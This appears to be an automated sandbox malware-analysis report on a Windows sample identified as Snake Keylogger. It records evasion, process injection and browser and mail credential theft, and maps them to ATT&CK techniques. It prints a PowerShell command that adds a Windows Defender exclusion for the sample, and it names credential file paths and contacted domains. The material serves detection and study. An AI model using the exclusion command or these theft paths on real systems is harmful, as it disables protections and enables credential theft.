Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598704	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598579	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598454	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598336	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597985	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597860	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596993	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596641	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596532	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596407	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 596063	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe, 00000004.00000002.3265830469.0000000000DA6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllb

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Memory written: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3267531741.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3726d30.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe.3706b10.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3267531741.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe PID: 4040, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	13 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	29%	Virustotal		Browse
SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	100%	Avira	HEUR/AGEN.1357443
SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
erkanlarofis.com.tr	0%	Virustotal	Browse
reallyfreegeoip.org	0%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
mail.erkanlarofis.com.tr	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33p	0%	Avira URL Cloud	safe
http://checkip.dyndns.orgp	0%	Avira URL Cloud	safe
http://erkanlarofis.com.tr	0%	Avira URL Cloud	safe
http://mail.erkanlarofis.com.tr	0%	Avira URL Cloud	safe
http://mail.erkanlarofis.com.tr	0%	Virustotal		Browse
http://erkanlarofis.com.tr	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

